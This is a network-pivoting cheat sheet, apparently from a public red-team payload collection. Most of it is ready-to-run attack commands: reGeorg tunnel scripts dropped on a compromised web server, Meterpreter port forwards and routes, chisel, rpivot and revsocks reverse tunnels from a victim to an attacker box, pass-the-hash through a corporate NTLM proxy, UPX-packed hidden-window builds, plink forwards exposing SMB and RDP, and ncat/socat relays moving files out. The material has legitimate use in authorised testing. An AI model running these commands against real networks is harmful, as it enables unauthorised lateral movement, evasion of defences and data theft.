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9.6 KiB
9.6 KiB
Network Pivoting Techniques
Summary
- Windows netsh Port Forwarding
- SSH
- Proxychains
- Web SOCKS - reGeorg
- Metasploit
- sshuttle
- chisel
- Rpivot
- RevSocks
- plink
- ngrok
- Basic Pivoting Types
- References
Windows netsh Port Forwarding
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110
- listenaddress – is a local IP address waiting for a connection.
- listenport – local listening TCP port (the connection is waited on it).
- connectaddress – is a local or remote IP address (or DNS name) to which the incoming connection will be redirected.
- connectport – is a TCP port to which the connection from listenport is forwarded to.
SSH
SOCKS Proxy
ssh -D8080 [user]@[host]
ssh -N -f -D 9000 [user]@[host]
-f : ssh in background
-N : do not execute a remote command
Cool Tip : Konami SSH Port forwarding
[ENTER] + [~C]
-D 1090
Local Port Forwarding
ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]
Remote Port Forwarding
ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]
ssh -R 3389:10.1.1.224:3389 root@10.11.0.32
Proxychains
Config file: /etc/proxychains.conf
[ProxyList]
socks4 localhost 8080
Set the SOCKS4 proxy then proxychains nmap -sT 192.168.5.6
Web SOCKS - reGeorg
reGeorg, the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.
Drop one of the following files on the server:
- tunnel.ashx
- tunnel.aspx
- tunnel.js
- tunnel.jsp
- tunnel.nosocket.php
- tunnel.php
- tunnel.tomcat.5.jsp
python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp # the socks proxy will be on port 8080
optional arguments:
-h, --help show this help message and exit
-l , --listen-on The default listening address
-p , --listen-port The default listening port
-r , --read-buff Local read buffer, max data to be sent per POST
-u , --url The url containing the tunnel script
-v , --verbose Verbose output[INFO|DEBUG]
Metasploit
# Meterpreter list active port forwards
portfwd list
# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd add –l 3389 –p 3389 –r target-host
portfwd add -l 88 -p 88 -r 127.0.0.1
portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445
# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd delete –l 3389 –p 3389 –r target-host
# Meterpreter delete all port forwards
portfwd flush
or
# Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0
run autoroute -s 192.168.15.0/24
use auxiliary/server/socks4a
# Meterpreter list all active routes
run autoroute -p
route #Meterpreter view available networks the compromised host can access
# Meterpreter add route for 192.168.14.0/24 via Session number.
route add 192.168.14.0 255.255.255.0 3
# Meterpreter delete route for 192.168.14.0/24 via Session number.
route delete 192.168.14.0 255.255.255.0 3
# Meterpreter delete all routes
route flush
sshuttle
Transparent proxy server that works as a poor man's VPN. Forwards over ssh.
- Doesn't require admin.
- Works with Linux and MacOS.
- Supports DNS tunneling.
pacman -Sy sshuttle
apt-get install sshuttle
sshuttle -vvr user@10.10.10.10 10.1.1.0/24
sshuttle -vvr username@pivot_host 10.2.2.0/24
# using a private key
$ sshuttle -vvr root@10.10.10.10 10.1.1.0/24 -e "ssh -i ~/.ssh/id_rsa"
chisel
go get -v github.com/jpillora/chisel
# forward port 389 and 88 to hacker computer
user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389
user@hacker$ /opt/chisel/chisel server -p 8008 --reverse
Rpivot
Server (Attacker box)
python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0
Client (Compromised box)
python client.py --server-ip <ip> --server-port 9443
Through corporate proxy
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e
Passing the hash
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe \
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE
revsocks
# Listen on the server and create a SOCKS 5 proxy on port 1080
user@VPS$ ./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass Password1234
# Connect client to the server
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 -proxy proxy.domain.local:3128 -proxyauth Domain/userpame:userpass -useragent "Mozilla 5.0/IE Windows 10"
# Build for Linux
git clone https://github.com/kost/revsocks
export GOPATH=~/go
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
go build
go build -ldflags="-s -w" && upx --brute revsocks
# Build for Windows
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
go build -ldflags -H=windowsgui
upx revsocks
plink
# exposes the SMB port of the machine in the port 445 of the SSH Server
plink -l root -pw toor -R 445:127.0.0.1:445
# exposes the RDP port of the machine in the port 3390 of the SSH Server
plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389
plink -l root -pw mypassword 192.168.18.84 -R
plink.exe -v -pw mypassword user@10.10.10.10 -L 6666:127.0.0.1:445
plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP]
# redirects the Windows port 445 to Kali on port 22
plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185
ngrok
# get the binary
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
# log into the service
./ngrok authtoken 3U[REDACTED_TOKEN]Hm
# deploy a port forwarding for 4433
./ngrok http 4433
./ngrok tcp 4433
Basic Pivoting Types
Type | Use Case |
---|---|
Listen - Listen | Exposed asset, may not want to connect out. |
Listen - Connect | Normal redirect. |
Connect - Connect | Can’t bind, so connect to bridge two hosts |
Listen - Listen
Type | Use Case |
---|---|
ncat | ncat -v -l -p 8080 -c "ncat -v -l -p 9090" |
socat | socat -v tcp-listen:8080 tcp-listen:9090 |
remote host 1 | ncat localhost 8080 < file |
remote host 2 | ncat localhost 9090 > newfile |
Listen - Connect
Type | Use Case |
---|---|
ncat | ncat -l -v -p 8080 -c "ncat localhost 9090" |
socat | socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090 |
remote host 1 | ncat localhost -p 8080 < file |
remote host 2 | ncat -l -p 9090 > newfile |
Connect - Connect
Type | Use Case |
---|---|
ncat | ncat localhost 8080 -c "ncat localhost 9090" |
socat | socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090 |
remote host 1 | ncat -l -p 8080 < file |
remote host 2 | ncat -l -p 9090 > newfile |
References
- Network Pivoting Techniques - Bit rot
- Port Forwarding in Windows - Windows OS Hub
- Using the SSH "Konami Code" (SSH Control Sequences) - Jeff McJunkin
- A Red Teamer's guide to pivoting- Mar 23, 2017 - Artem Kondratenko
- Pivoting Meterpreter
- Etat de l’art du pivoting réseau en 2019 - Oct 28,2019 - Alexandre Zanni